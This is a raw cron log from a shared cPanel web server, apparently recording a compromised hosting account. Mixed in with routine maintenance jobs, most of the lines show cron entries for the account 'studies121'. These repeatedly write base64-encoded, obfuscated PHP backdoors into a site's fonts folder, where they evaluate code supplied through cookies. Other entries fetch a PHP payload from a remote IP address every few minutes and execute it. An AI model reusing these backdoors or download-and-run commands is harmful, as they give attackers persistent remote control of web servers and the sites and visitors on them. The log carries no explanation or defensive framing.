Aug 31 04:48:01 ip-184-168-122-23 CROND[31400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:48:01 ip-184-168-122-23 CROND[31399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:48:01 ip-184-168-122-23 CROND[31401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:49:01 ip-184-168-122-23 CROND[31501]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 04:49:01 ip-184-168-122-23 CROND[31502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:49:01 ip-184-168-122-23 CROND[31504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:49:01 ip-184-168-122-23 CROND[31503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:49:01 ip-184-168-122-23 CROND[31505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:50:01 ip-184-168-122-23 CROND[31693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:50:01 ip-184-168-122-23 CROND[31695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:50:01 ip-184-168-122-23 CROND[31696]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:50:01 ip-184-168-122-23 CROND[31697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:50:01 ip-184-168-122-23 CROND[31702]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 04:50:01 ip-184-168-122-23 CROND[31703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:50:01 ip-184-168-122-23 CROND[31700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:50:01 ip-184-168-122-23 CROND[31701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:50:01 ip-184-168-122-23 CROND[31704]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:51:01 ip-184-168-122-23 CROND[31894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:51:01 ip-184-168-122-23 CROND[31896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:51:01 ip-184-168-122-23 CROND[31897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:51:01 ip-184-168-122-23 CROND[31899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:52:01 ip-184-168-122-23 CROND[32043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:52:01 ip-184-168-122-23 CROND[32046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:52:01 ip-184-168-122-23 CROND[32044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:52:01 ip-184-168-122-23 CROND[32047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:52:01 ip-184-168-122-23 CROND[32045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:53:01 ip-184-168-122-23 CROND[32147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:53:01 ip-184-168-122-23 CROND[32149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:53:01 ip-184-168-122-23 CROND[32151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:53:01 ip-184-168-122-23 CROND[32150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:54:01 ip-184-168-122-23 CROND[32299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:54:01 ip-184-168-122-23 CROND[32300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:54:01 ip-184-168-122-23 CROND[32305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:54:01 ip-184-168-122-23 CROND[32304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:54:01 ip-184-168-122-23 CROND[32303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:55:01 ip-184-168-122-23 CROND[32415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:55:01 ip-184-168-122-23 CROND[32416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:55:01 ip-184-168-122-23 CROND[32419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:55:01 ip-184-168-122-23 CROND[32420]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:55:01 ip-184-168-122-23 CROND[32422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:55:01 ip-184-168-122-23 CROND[32423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:56:01 ip-184-168-122-23 CROND[32604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:56:01 ip-184-168-122-23 CROND[32608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:56:01 ip-184-168-122-23 CROND[32606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:56:01 ip-184-168-122-23 CROND[32607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:56:01 ip-184-168-122-23 CROND[32609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:57:01 ip-184-168-122-23 CROND[32719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:57:01 ip-184-168-122-23 CROND[32718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:57:01 ip-184-168-122-23 CROND[32720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:57:01 ip-184-168-122-23 CROND[32722]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Aug 31 04:57:01 ip-184-168-122-23 CROND[32724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:57:25 ip-184-168-122-23 crontab[459]: (root) LIST (root)
Aug 31 04:57:25 ip-184-168-122-23 crontab[461]: (root) LIST (root)
Aug 31 04:57:31 ip-184-168-122-23 crontab[554]: (root) LIST (root)
Aug 31 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Aug 31 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 31 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 31 04:58:01 ip-184-168-122-23 CROND[786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 04:58:01 ip-184-168-122-23 CROND[787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 04:58:01 ip-184-168-122-23 CROND[788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:58:01 ip-184-168-122-23 CROND[789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:58:01 ip-184-168-122-23 CROND[794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:59:01 ip-184-168-122-23 CROND[1331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 04:59:01 ip-184-168-122-23 CROND[1332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:59:01 ip-184-168-122-23 CROND[1334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:59:01 ip-184-168-122-23 CROND[1333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
